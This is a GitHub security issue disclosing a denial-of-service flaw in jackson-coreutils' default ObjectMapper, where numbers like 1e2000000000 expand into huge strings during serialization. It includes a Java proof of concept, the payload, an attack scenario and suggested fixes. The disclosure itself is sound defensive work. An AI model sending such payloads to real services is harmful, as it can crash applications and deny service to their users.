Skip to content

[Security] BigDecimal Amplification DoS via Default WRITE_BIGDECIMAL_AS_PLAIN Configuration #65

Description

@york-shen

Security Vulnerability Report

Metadata

Field Value
Affected Version 2.0 (latest on Maven Central)
Component JacksonUtils.newMapper() default configuration
File src/main/java/com/github/fge/jackson/JacksonUtils.java:153-159
CWE CWE-400 (Uncontrolled Resource Consumption)
CVSS 3.1 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)

Summary

The library's default ObjectMapper configuration enables both USE_BIG_DECIMAL_FOR_FLOATS and WRITE_BIGDECIMAL_AS_PLAIN. When any application parses untrusted JSON containing large-exponent numbers (e.g., 1e100000) through this library's mapper and later serializes the result, BigDecimal.toPlainString() allocates a string proportional to the exponent value — causing massive memory amplification and OutOfMemoryError.

This vulnerability does NOT require SSRF. Any direct JSON input (HTTP request body, uploaded file, message queue payload) triggers it.

Root Cause

// JacksonUtils.java:153-159
private static ObjectMapper newMapper() {
    final ObjectMapper mapper = new ObjectMapper();
    mapper.enable(DeserializationFeature.USE_BIG_DECIMAL_FOR_FLOATS);  // Parses 1e100000 as BigDecimal
    mapper.enable(SerializationFeature.WRITE_BIGDECIMAL_AS_PLAIN);     // toPlainString() on serialization
    // ...
}

The WRITE_BIGDECIMAL_AS_PLAIN feature causes BigDecimal.toPlainString() to be called during serialization. For a value like 1e100000, this produces a string of 100,001 characters (the digit "1" followed by 100,000 zeros). For 1e2000000000, this would attempt to allocate ~2GB.

Proof of Concept

Runtime verified on VM with OpenJDK 21:

[TEST] BigDecimal Amplification [WRITE_BIGDECIMAL_AS_PLAIN behavior]
[TEST] Input bytes: 8, BigDecimal scale: -100000
[TEST] toPlainString() length: 100001 chars
[TEST] Amplification factor: 12500x
RESULT: VULNERABLE - 8-byte input amplified to 100001 chars via BigDecimal.toPlainString()

Minimal reproduction:

import com.github.fge.jackson.JacksonUtils;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;

public class BigDecimalDoS {
    public static void main(String[] args) throws Exception {
        ObjectMapper mapper = JacksonUtils.getReader();  // Uses the vulnerable default config
        
        // Simulate attacker input (e.g., from HTTP request body)
        String maliciousJson = "{\"value\": 1e100000}";
        JsonNode node = mapper.readTree(maliciousJson);
        
        // Any serialization triggers the amplification
        String output = JacksonUtils.getMapper().writeValueAsString(node);
        // output is now 100,001+ characters from an 8-byte input number
        // With 1e2000000000: OutOfMemoryError
    }
}

Attack scenario:

  1. Attacker sends JSON body: {"data": 1e2000000000} (20 bytes)
  2. Application parses via jackson-coreutils (BigDecimal created due to USE_BIG_DECIMAL_FOR_FLOATS)
  3. Application later serializes the node (e.g., logging, caching, forwarding to downstream)
  4. toPlainString() attempts to allocate ~2GB string
  5. JVM throws OutOfMemoryError → application crash

Impact

  • Denial of Service: Single small request causes JVM OutOfMemoryError
  • Amplification factor: 12,500x at 1e100000; up to 250,000,000x at 1e2000000000
  • No authentication required: Any endpoint accepting JSON through this library's mapper
  • Affects downstream users: jackson-coreutils is a transitive dependency of json-schema-validator (widely used)

Affected Downstream Libraries

jackson-coreutils is used by:

  • com.github.java-json-tools:json-schema-validator (2.2.14, 26K+ GitHub dependents)
  • com.github.java-json-tools:json-patch (1.13)
  • com.github.java-json-tools:json-schema-core

All inherit the unsafe default mapper configuration.

Suggested Remediation

  1. Remove WRITE_BIGDECIMAL_AS_PLAIN as default (breaking change but safe):
// Remove from newMapper():
// mapper.enable(SerializationFeature.WRITE_BIGDECIMAL_AS_PLAIN);
  1. Or add scale validation before serialization:
if (node.isBigDecimal()) {
    int absScale = Math.abs(node.decimalValue().scale());
    if (absScale > 10000) {
        throw new JsonProcessingException("BigDecimal scale " + absScale + " exceeds safety limit");
    }
}
  1. Upgrade Jackson to 2.15+ which provides StreamWriteConstraints.

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions